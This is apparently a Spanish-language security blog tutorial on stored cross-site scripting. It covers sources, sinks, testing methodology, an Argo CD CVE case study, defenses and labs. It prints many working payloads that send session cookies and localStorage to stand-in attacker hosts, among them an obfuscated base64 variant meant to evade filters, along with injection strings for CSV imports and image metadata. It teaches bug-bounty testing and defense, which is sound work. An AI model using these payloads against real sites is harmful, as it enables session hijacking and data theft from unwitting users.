← Volver al Blog
XSS10 de julio de 2026 · 20 min lectura

XSS Stored — Tomo IV: Anatomía del Payload que No Muere — Sources, Sinks y el Ciclo de Vida de la Persistencia

XSS Stored — Tomo IV: Anatomía del Payload que No Muere — Sources, Sinks y el Ciclo de Vida de la Persistencia

"El XSS reflected necesita que la víctima haga clic en un link. El XSS stored convierte la aplicación en el arma. Cada usuario que visita la página dispara el payload sin saber que existe."


La Diferencia que lo Cambia Todo

En XSS Reflected, el atacante entrega el payload. La víctima tiene que hacer algo — abrir un link, visitar una URL maliciosa. Eso crea fricción. Eso requiere ingeniería social.

En XSS Stored, el sistema hace la entrega. El atacante inyecta el payload una sola vez — en un comentario, en un perfil, en un campo de descripción, en un mensaje. A partir de ese momento, cada usuario que visita esa página, sin saberlo, sin hacer nada sospechoso, ejecuta el código del atacante en su navegador.

La diferencia no es técnica. Es de escala. Un XSS reflected puede comprometer a una persona. Un XSS stored puede comprometer a todos los usuarios de una plataforma simultáneamente. En el caso extremo — cuando el payload se propaga a sí mismo — lo llamamos XSS wormable. Y eso ya es historia documentada con consecuencias reales.

Este tomo cubre la mecánica completa: dónde vive el payload, cómo viaja del storage al navegador, y cómo encontrarlo sistemáticamente en aplicaciones modernas.


Índice

  1. El ciclo de vida del payload stored: almacenamiento, recuperación y ejecución
  2. Sources: todos los vectores de entrada donde el payload puede entrar
  3. Sinks: todos los puntos donde el payload se ejecuta
  4. El mapa completo source→sink: cómo trazar el flujo de datos
  5. XSS Stored en la práctica: los vectores más comunes en aplicaciones reales
  6. Anatomía de un payload stored profesional
  7. Cómo encontrarlo: metodología manual paso a paso
  8. Cómo encontrarlo con herramientas
  9. El contexto de privilegio: por qué el stored XSS en admin panels es Critical
  10. CVE-2026-45738: caso real de XSS Stored en Argo CD (Mayo 2026)
  11. Diferencias de impacto: Reflected vs. Stored en bug bounty
  12. Defensa: por qué el stored XSS es más difícil de parchear que el reflected
  13. Laboratorio en el Cyber Range
  14. Lo que viene en el Tomo 5

1. El Ciclo de Vida del Payload Stored

XSS Stored tiene dos fases separadas en el tiempo. Esta separación es lo que lo hace más peligroso y más difícil de detectar que su variante reflected.

Fase 1: Almacenamiento (Write)

El atacante envía un request con el payload malicioso. El servidor lo recibe, lo procesa, y lo guarda en algún tipo de persistencia:

POST /api/comentarios HTTP/1.1
Host: aplicacion.com
Cookie: session=attacker_session
Content-Type: application/json

{
  "post_id": 42,
  "contenido": "Excelente artículo! <script>fetch('https://attacker.com/?c='+document.cookie)</script>"
}

El servidor guarda el comentario en la base de datos — incluyendo el script. Si el backend no sanitiza antes de almacenar (o no escapa al recuperar), el payload está ahora en la base de datos esperando.

Fase 2: Recuperación y Ejecución (Read)

Cuando cualquier usuario visita la página con los comentarios:

GET /blog/articulo/42 HTTP/1.1
Host: aplicacion.com
Cookie: session=victim_session

El servidor consulta la base de datos, recupera los comentarios, y los inserta en el HTML de respuesta:

<div class="comentarios">
  <div class="comentario">
    <p>Excelente artículo! <script>fetch('https://attacker.com/?c='+document.cookie)</script></p>
  </div>
</div>

El navegador de la víctima renderiza el HTML y ejecuta el script. Las cookies de la víctima viajan al servidor del atacante. La víctima no hizo nada sospechoso — solo visitó una página normal.

La implicación crítica de la separación temporal

En XSS Reflected, el atacante y la ejecución ocurren en el mismo request. En XSS Stored, pueden pasar horas, días o semanas entre la inyección y la ejecución. Esto tiene consecuencias:

  • El atacante puede haber sido baneado o eliminado de la plataforma, y el payload sigue activo
  • El payload puede ejecutarse en contextos de mayor privilegio (si un admin revisa el contenido)
  • Es más difícil correlacionar el ataque con el atacante
  • El impacto escala con el número de usuarios que visitan la página infectada

2. Sources: Todos los Vectores de Entrada

Un source es cualquier punto donde input controlado por el atacante puede entrar al sistema y eventualmente ser almacenado. En XSS Stored, los sources son más variados que en Reflected porque no se limitan a parámetros HTTP — incluyen cualquier mecanismo que escriba datos a persistencia.

Sources directos (el atacante controla la entrada directamente)

SourceEjemplos concretos
Campos de formularioComentarios, reviews, biografías, nombres de usuario, títulos de posts
Carga de archivosNombre del archivo (el nombre se almacena y se muestra en la UI), metadatos EXIF de imágenes
APIs REST/GraphQLBody de requests POST/PUT/PATCH que escriben a base de datos
Headers HTTPUser-Agent, Referer (si se loguean y se muestran en dashboards)
Parámetros de URLSi la URL misma se almacena y se renderiza (ej: "artículo compartido desde: [URL]")
WebSocketsMensajes en tiempo real que se persisten y se muestran a otros usuarios
Imports de datosCSVs, XMLs, JSONs importados por el usuario que el sistema procesa y muestra
WebhooksPayloads de webhooks externos que la aplicación almacena y muestra en logs

Sources indirectos (el atacante influye en datos de terceros)

Estos son los más ignorados y los más interesantes para bug bounty:

  • Integración con APIs externas: Si la app muestra datos de Twitter, GitHub, LinkedIn — y el atacante controla su perfil en esa plataforma, puede inyectar a través de ella
  • RSS feeds: Apps que consumen feeds externos y renderizan el contenido sin sanitizar
  • DNS/WHOIS lookups: Herramientas de análisis que muestran información de dominio — el atacante controla el dominio
  • Emails procesados: Apps que parsean emails entrantes y muestran el contenido (support tickets, etc.)

3. Sinks: Todos los Puntos Donde el Payload Se Ejecuta

Un sink es el punto en el código donde el dato almacenado se inserta en el DOM o se ejecuta como código. Si hay un path desde un source hasta un sink sin sanitización adecuada, hay XSS Stored.

Sinks del lado del servidor (el HTML llega pre-construido al navegador)

# Python/Flask — sink vulnerable: interpolación directa en template
@app.route('/comentarios/<post_id>')
def ver_comentarios(post_id):
    comentarios = db.query("SELECT contenido FROM comentarios WHERE post_id=?", post_id)
    return render_template_string(
        "<div>" + comentarios[0]['contenido'] + "</div>"  # ← SINK: concatenación sin escape
    )
// PHP — sink vulnerable: echo sin htmlspecialchars
$comentario = $db->fetch("SELECT contenido FROM comentarios WHERE id=?", [$id]);
echo "<p>" . $comentario['contenido'] . "</p>";  // ← SINK

Sinks del lado del cliente (el JS inserta en el DOM)

Los sinks más peligrosos en JavaScript son aquellos que manipulan el DOM directamente con datos sin sanitizar: innerHTML, document.write(), y eval().
// JavaScript — sinks vulnerables más comunes

// innerHTML — el más frecuente
document.getElementById('comentarios').innerHTML = data.comentario;

// document.write — legacy pero todavía presente
document.write('<p>' + comentario + '</p>');

// eval — cuando el dato se evalúa como código
eval(respuestaAPI);

// setTimeout/setInterval con string
setTimeout(comentario, 0);

// insertAdjacentHTML — menos conocido pero igualmente peligroso
elemento.insertAdjacentHTML('beforeend', datos.html);

// jQuery — varios métodos vulnerables
$('#resultado').html(comentario);      // html() es un sink
$('#resultado').append(comentario);    // append() con string es un sink

Sinks en frameworks modernos

// React — dangerouslySetInnerHTML (el nombre lo dice todo)
function Comentario({ contenido }) {
  return <div dangerouslySetInnerHTML={{ __html: contenido }} />;  // ← SINK
}

// Vue — v-html directive
<div v-html="comentario"></div>  // ← SINK

// Angular — [innerHTML] binding
<div [innerHTML]="comentario"></div>  // ← SINK (Angular sanitiza por defecto, pero tiene bypasses)

4. El Mapa Completo Source→Sink: Cómo Trazar el Flujo de Datos

Para encontrar XSS Stored sistemáticamente, necesitas trazar el flujo de datos desde que entra hasta que se renderiza. Esto es lo que los hunters avanzados hacen y los escáneres no pueden replicar completamente.

El proceso mental:

[Usuario escribe comentario]
        ↓
[POST /api/comentarios — body: contenido="<script>..."]
        ↓
[Backend: ¿sanitiza aquí? → si NO, continúa vulnerable]
        ↓
[Base de datos: INSERT INTO comentarios (contenido) VALUES (?)]
        ↓
[GET /blog/post/42 — otro usuario visita]
        ↓
[Backend: SELECT contenido FROM comentarios WHERE post_id=42]
        ↓
[¿Escapa al recuperar? → si NO, continúa vulnerable]
        ↓
[Template engine: ¿auto-escapa? → si NO, continúa vulnerable]
        ↓
[HTML enviado al navegador con script embebido]
        ↓
[Navegador ejecuta el script en el contexto de la sesión de la víctima]
        ↓
[COMPROMISO]

Cada flecha es un punto donde la sanitización podría ocurrir. Solo necesitas que ninguno de esos puntos sanitice correctamente para que el XSS sea explotable.

En código real, el flujo puede ser no lineal:

[Usuario sube CSV con payload en columna "nombre"]
        ↓
[Sistema procesa CSV: almacena en tabla users]
        ↓
[Admin abre dashboard "Lista de usuarios"]
        ↓
[Dashboard renderiza la columna "nombre" sin escape]
        ↓
[Admin ejecuta payload — sus credenciales son robadas]

Esto es XSS Stored con source indirecto (CSV) y sink en panel de admin. El atacante nunca interactuó con el panel de admin directamente.


5. XSS Stored en la Práctica: Los Vectores Más Comunes

5.1 Comentarios y reviews

El vector más clásico y todavía activo en 2026. Cualquier campo de texto que se muestre a otros usuarios es candidato.

<!-- Campo vulnerable: comentario de producto -->
Nombre: <script>alert(document.domain)</script>
Comentario: Buen producto!

<!-- Alternativa si los tags se filtran pero no los atributos de eventos -->
Nombre: <img src=x onerror=alert(document.domain) x="

5.2 Campos de perfil de usuario

Nombre, apellido, bio, ubicación, sitio web personal. Estos campos se muestran a todos los que visitan el perfil — potencialmente miles de personas.

Bio: <svg/onload=fetch('https://attacker.com/?c='+document.cookie)>
Sitio web: javascript:alert(document.cookie)
Nombre: "><img src=x onerror=alert(1)>

5.3 Nombre de archivo en uploads

El nombre del archivo se almacena y frecuentemente se muestra en la UI sin sanitizar:

Nombre de archivo: <img src=x onerror=alert(1)>.jpg
Nombre de archivo: "><script>alert(1)</script>.pdf

5.4 Mensajes de chat y sistemas de tickets

Plataformas de soporte, chats internos, sistemas de tickets. El payload se dispara cuando el agente de soporte abre el ticket — contexto privilegiado.

Asunto del ticket: <script>alert(document.cookie)</script>
Mensaje: Tengo un problema con mi cuenta

5.5 Metadatos de archivos (EXIF)

Las imágenes contienen metadatos EXIF. Si la aplicación extrae y muestra metadatos sin sanitizar:

# Modificar metadatos EXIF con ExifTool
exiftool -Comment='<script>alert(1)</script>' imagen.jpg
exiftool -Artist='"><img src=x onerror=alert(1)>' imagen.jpg

5.6 Imports de CSV

nombre,email,rol
<script>alert(document.cookie)</script>,admin@empresa.com,admin
"><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>,user@empresa.com,user

Si el sistema importa este CSV y muestra los datos en un dashboard sin sanitizar, el payload se ejecuta cuando alguien ve la lista de usuarios.


6. Anatomía de un Payload Stored Profesional

La diferencia entre un payload de laboratorio y uno para un engagement real está en la persistencia, la evasión y el impacto demostrable.

Payload básico (PoC)

<script>alert(document.domain)</script>

Solo para confirmar ejecución en el contexto correcto. No uses en producción.

Payload de exfiltración silenciosa

<script>
// Sin alerts, sin modificación visual — completamente silencioso
new Image().src = 'https://tu-servidor.com/xss?' + 
  'c=' + encodeURIComponent(document.cookie) +
  '&u=' + encodeURIComponent(document.location.href) +
  '&r=' + encodeURIComponent(document.referrer);
</script>

Payload resistente a limpieza parcial

<!-- Si filtran <script> pero no eventos en tags HTML -->
<img src=x onerror="this.onerror=null;new Image().src='https://attacker.com/?c='+document.cookie">

<!-- this.onerror=null previene bucle infinito de errores -->

Payload polimórfico para evasión de WAF/filtros

<!-- Fragmentado en múltiples atributos -->
<img src=x id=xss on
error=eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tLz9jPScrZG9jdW1lbnQuY29va2llKQ=='))>

<!-- El base64 decodifica a: fetch('https://attacker.com/?c='+document.cookie) -->

Payload con verificación de contexto

<script>
// Solo ejecuta si hay una sesión activa (hay cookies)
if(document.cookie.length > 0) {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://attacker.com/xss?data=' + 
    btoa(JSON.stringify({
      cookies: document.cookie,
      url: location.href,
      localStorage: JSON.stringify(localStorage),
      timestamp: Date.now()
    })), true);
  xhr.send();
}
</script>

7. Cómo Encontrarlo: Metodología Manual Paso a Paso

Paso 1: Inventariar todos los campos que escriben a persistencia

Crea un mapa de la aplicación enfocado en puntos de escritura:

✓ Formularios con POST que guardan datos (registros, comentarios, configuraciones)
✓ APIs que aceptan PUT/PATCH/POST con datos de usuario
✓ Endpoints de upload de archivos
✓ Cualquier campo que "se recuerde" entre sesiones
✓ Imports de datos (CSV, XML, JSON)
✓ Configuraciones de perfil

Paso 2: Para cada campo, trazar dónde se muestra el dato

Pregúntate: ¿dónde aparece este dato después de ser guardado?

  • ¿Solo se muestra al mismo usuario que lo ingresó? (menor riesgo, pero aplica a self-XSS con impacto)
  • ¿Se muestra a todos los usuarios? (mayor riesgo — impacto masivo)
  • ¿Se muestra en un panel de admin? (máximo riesgo — credenciales privilegiadas)
  • ¿Se incluye en emails o notificaciones? (vector alternativo)

Paso 3: Inyectar sonda única y buscar reflexión

<!-- Sonda que identifica el campo y prueba renderizado HTML -->
tc_stored_CAMPO_NAME_2026

Busca la sonda en:

  • La misma página donde se muestra el contenido
  • Otras páginas donde el dato podría aparecer (perfil público, dashboard, emails)
  • El source HTML (View Page Source) — no el DOM renderizado

Paso 4: Probar caracteres especiales y construir payload por contexto

Idéntico al proceso del Tomo 1 — identifica el contexto de inyección y construye el payload apropiado.

Paso 5: Verificar que el payload persiste y se ejecuta para otros usuarios

El paso que muchos hunters olvidan: confirma que el payload no solo se ejecuta para ti, sino para otro usuario diferente.

1. Crea dos cuentas: atacante y víctima
2. Con la cuenta del atacante, inyecta el payload
3. Con la cuenta de la víctima (en otro navegador o incógnito), visita la página
4. Confirma que el payload se ejecuta en el contexto de la sesión de la víctima

Esto es lo que convierte el Self-XSS (que los programas rechazan) en Stored XSS real (que los programas pagan).


8. Cómo Encontrarlo con Herramientas

Burp Suite — Active Scanner

En Burp Pro, el Active Scanner detecta XSS Stored buscando reflexiones de payloads en páginas visitadas posteriormente. Configura el scanner para:

  1. Hacer crawl de la aplicación autenticado
  2. Escanear activamente los endpoints de escritura (POST/PUT/PATCH)
  3. Visitar todas las páginas que podrían mostrar el contenido guardado

En Burp Community, puedes simular esto manualmente:

1. Intercept el POST de un formulario en Repeater
2. Modifica el campo con payload de prueba
3. Envía el request
4. Navega a la página donde se muestra el contenido
5. Busca el payload en la respuesta

Dalfox con soporte de cookies

# Dalfox puede testear XSS stored con sesión autenticada
dalfox url "https://objetivo.com/comentarios/crear" \
  --cookie "session=attacker_token" \
  --data "post_id=1&contenido=FUZZ" \
  --follow-redirects

grep en código fuente (whitebox testing)

Si tienes acceso al código:

# Buscar sinks peligrosos en JavaScript
grep -r "innerHTML\|document\.write\|eval\|setTimeout\|insertAdjacentHTML" src/ --include="*.js"

# Buscar uso de v-html en Vue
grep -r "v-html" src/ --include="*.vue"

# Buscar dangerouslySetInnerHTML en React
grep -r "dangerouslySetInnerHTML" src/ --include="*.jsx" --include="*.tsx"

# Buscar interpolación sin escape en templates Python/Jinja2
grep -r "| safe\|Markup(" src/ --include="*.py" --include="*.html"

# Buscar echo sin htmlspecialchars en PHP
grep -r "echo \$\|print \$" src/ --include="*.php" | grep -v "htmlspecialchars\|htmlentities"

9. El Contexto de Privilegio: Por Qué el Stored XSS en Admin Panels Es Critical

El mismo payload almacenado puede tener impacto radicalmente diferente dependiendo de quién lo ejecuta.

Escenario A: El payload se ejecuta solo para usuarios normales

Impacto: robo de sesiones de usuarios regulares. Severidad: High.

Escenario B: El payload se ejecuta cuando un admin modera contenido

Impacto: robo de sesión de admin → acceso total a la plataforma → potencial ATO de todos los usuarios. Severidad: Critical.

Escenario C: El payload se ejecuta en el servidor (headless browser, render engine)

Impacto: SSRF, acceso a red interna, metadata de cloud. Severidad: Critical.

El contexto de privilegio es el multiplicador más importante en XSS Stored. Cuando encuentres un vector de stored XSS, siempre pregúntate: ¿quién más puede ver este contenido además del usuario que lo sube?

Los vectores más valiosos:

  • Tickets de soporte — los agentes los abren, frecuentemente con más permisos
  • Formularios de registro — el admin revisa nuevos usuarios
  • Reportes de abuso — los moderadores revisan lo reportado
  • Nombres en campos de búsqueda — el admin busca usuarios por nombre
  • Imports de CSV — el admin importa los datos del usuario

10. CVE-2026-45738: Caso Real de XSS Stored en Argo CD (Mayo 2026)

CVE-2026-45738 es un caso ejemplar porque el bug se ubica exactamente en la intersección de dos realidades: una opción de configuración aparentemente inofensiva y una UI que confía demasiado en esa opción. XSS Stored difiere de su variante reflected menos en el payload que en el modelo de entrega. Un string, una vez inyectado, espera silenciosamente en el backend hasta que un usuario legítimo lo invoca en el contexto de confianza correcto.

El escenario técnico:

Argo CD es una plataforma GitOps para Kubernetes usada por miles de organizaciones en producción. La vulnerabilidad estaba en cómo la UI renderizaba anotaciones de Kubernetes — campos de metadatos que los usuarios pueden controlar en sus manifiestos.

# Manifiesto Kubernetes con payload inyectado en anotación
metadata:
  annotations:
    link.argocd.argoproj.io/external-link: "javascript:fetch('https://attacker.com/?c='+document.cookie)"

La UI de Argo CD tomaba el valor de esa anotación y lo usaba como href en un link sin validar el esquema. Resultado: cualquier admin que revisara la aplicación ejecutaba el payload.

Cualquier componente UI que establezca href o src desde datos controlados por el usuario necesita una allowlist de esquemas. Un simple allowedSchemes = ['http:', 'https:', 'mailto:'] y un helper centralizado que cada componente valide habría prevenido estructuralmente CVE-2026-45738. Las anotaciones de Kubernetes no son un "campo de metadatos inerte" — en el momento en que una capa UI las renderiza, son una fuente de inyección con el mismo nivel de riesgo que cualquier input de usuario.

Lo que esto enseña:

Los datos que "no son input directo del usuario" siguen siendo sources de XSS. Campos de configuración, anotaciones de sistemas, metadatos de infraestructura — cualquier dato que eventualmente se renderiza en una UI es un source potencial.


11. Diferencias de Impacto: Reflected vs. Stored en Bug Bounty

DimensiónXSS ReflectedXSS Stored
Víctimas afectadasSolo quien hace clic en el link maliciosoTodos los que visitan la página infectada
Requiere ingeniería socialSí — el atacante debe entregar el linkNo — la aplicación entrega el payload
PersistenciaCero — desaparece con la requestIndefinida hasta que se elimine
EscalabilidadLineal — una víctima por link enviadoExponencial — N víctimas por una inyección
Dificultad de atribuciónMedia — los logs muestran requests anómalosAlta — el payload viene de datos legítimos
Severidad típica en BBLow → HighMedium → Critical
Payout promedio (HackerOne)$200 → $3,000$500 → $15,000+
Self-XSS aplicaNo (necesita otro usuario)Solo si se muestra solo al mismo usuario

12. Defensa: Por Qué el Stored XSS Es Más Difícil de Parchear

Las defensas son las mismas que para Reflected — output encoding, CSP, HttpOnly en cookies — pero la implementación es más compleja por una razón: el dato ya está en la base de datos.

El problema del dato histórico:

Cuando se descubre y se parchea un XSS Stored, el parche arregla el código de rendering — pero los payloads ya almacenados siguen en la base de datos. Si el patch no va acompañado de una limpieza de datos, el XSS puede reaparecer.

El problema del contexto múltiple:

El mismo dato puede renderizarse en múltiples contextos: en la web, en un email, en una app móvil, en un export PDF. Parchear el contexto web no parchea los demás.

La solución correcta: Defense in Depth

# Nivel 1: Sanitizar al guardar (opcional pero útil como capa extra)
import bleach
contenido_limpio = bleach.clean(contenido_usuario, 
                                 tags=['p', 'b', 'i', 'a'], 
                                 attributes={'a': ['href']})

# Nivel 2: Escapar siempre al renderizar (obligatorio)
from html import escape
contenido_seguro = escape(contenido_de_bd)

# Nivel 3: CSP como última línea de defensa
# Content-Security-Policy: script-src 'self'; object-src 'none'

# Nivel 4: HttpOnly en cookies de sesión
response.set_cookie('session', valor, httponly=True, secure=True, samesite='Strict')

Por qué los frameworks ayudan pero no resuelven todo:

Django, Laravel, Rails, Next.js — todos tienen escaping automático en sus template engines. Pero los developers siguen rompiendo estas protecciones cuando:

  • Usan | safe en Jinja2 (marca contenido como "seguro" sin verificarlo)
  • Usan dangerouslySetInnerHTML en React con datos no sanitizados
  • Concatenan strings en lugar de usar el template engine
  • Usan innerHTML en JavaScript para renderizar datos de API

13. Laboratorio en el Cyber Range de TribuCibernética

Los labs del Tomo 4 están en la ruta CP02 — Stored XSS Track:

Lab XSS-S01: Stored XSS clásico en sección de comentarios — vector directo a base de datos
Lab XSS-S02: Stored XSS en campo de perfil de usuario — payload visible para todos los visitantes
Lab XSS-S03: Stored XSS via upload de archivo — payload en nombre de archivo
Lab XSS-S04: Stored XSS en campo de import CSV — source indirecto a sink en dashboard
Lab XSS-S05: Stored XSS en sistema de tickets — payload que dispara en panel de admin con cookies privilegiadas

Cada lab incluye:

  • Flag de confirmación al explotar exitosamente
  • Entorno Docker aislado y efímero
  • Writeup detallado post-completar
  • Nivel de dificultad progresivo: S01-S02 (Easy), S03-S04 (Medium), S05 (Hard)

→ Acceder al Cyber Range


14. Lo que Viene en el Tomo 5

El Tomo 5 entra en el territorio más espectacular de XSS Stored: el XSS que se propaga solo.

Un XSS worm usa el payload almacenado no solo para exfiltrar datos — sino para replicarse a sí mismo. Cada usuario infectado infecta a otros. El resultado es propagación exponencial sin intervención del atacante.

Cubriremos:

  • La anatomía del Samy Worm — el primer XSS worm de la historia que infectó más de 1 millón de perfiles en 20 horas
  • Cómo funciona la auto-propagación — el payload que se lee a sí mismo y se escribe en otros
  • XSS worms modernos — variante del Twitter onmouseover worm y casos documentados post-2020
  • Construcción de un XSS worm en entorno controlado — código completo, paso a paso, para el Cyber Range
  • Por qué los worms cambian la clasificación de severidad — de High a Critical instantáneamente

Glosario Rápido — Tomo 4

TérminoDefinición
XSS Stored / PersistenteXSS donde el payload se almacena en el backend y se ejecuta cada vez que se carga la página
SourcePunto donde input controlado por el atacante entra al sistema
SinkPunto donde ese input es renderizado o ejecutado en el navegador
innerHTMLPropiedad DOM que establece HTML crudo — sink peligroso si recibe datos no sanitizados
dangerouslySetInnerHTMLAPI de React para insertar HTML crudo — su nombre advierte el riesgo
v-htmlDirectiva Vue equivalente a innerHTML — sink si recibe datos no sanitizados
Auto-propagaciónCaracterística de un XSS worm — el payload se copia a sí mismo en otros contextos
Self-XSSXSS que solo se ejecuta para el mismo usuario que lo inyectó — generalmente out of scope en BB
Contexto de privilegioEl nivel de acceso del usuario que ejecuta el payload — determina el impacto
Output encodingTransformar caracteres especiales antes de insertarlos en HTML/JS — la defensa principal

Referencias Técnicas

  • OWASP Testing Guide v4.2 — OTG-INPVAL-002: Testing for Stored XSS
  • HackerOne Blog — How to Find XSS Vulnerabilities (Abril 2026)
  • TuringPoint Security — Stored XSS Dangers: CVE-2026-45738 en Argo CD (Mayo 2026)
  • GHSA-h98r-wv3h-fr38 — Advisory de Argo CD CVE-2026-45738
  • PortSwigger Web Security Academy — Stored XSS
  • CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • MITRE ATT&CK T1059.007 — JavaScript/JScript

¿Encontraste un XSS Stored en tu programa de bug bounty y quieres saber si el impacto justifica Critical? Abre un thread en el Discord con los detalles — la Tribu te da el feedback antes de que reportes.

→ Leer Tomo 3: Bug Bounty, CSP Bypass y XSS to RCE
→ Leer Tomo 5: XSS Stored Wormable — Propagación Exponencial
→ Practicar Labs XSS-S01 al S05 en el Cyber Range
→ Unirse al Discord de TribuCibernética


© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad. El uso de estas técnicas fuera de entornos autorizados es ilegal. TribuCibernética no se hace responsable del uso indebido de la información aquí presentada.


[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.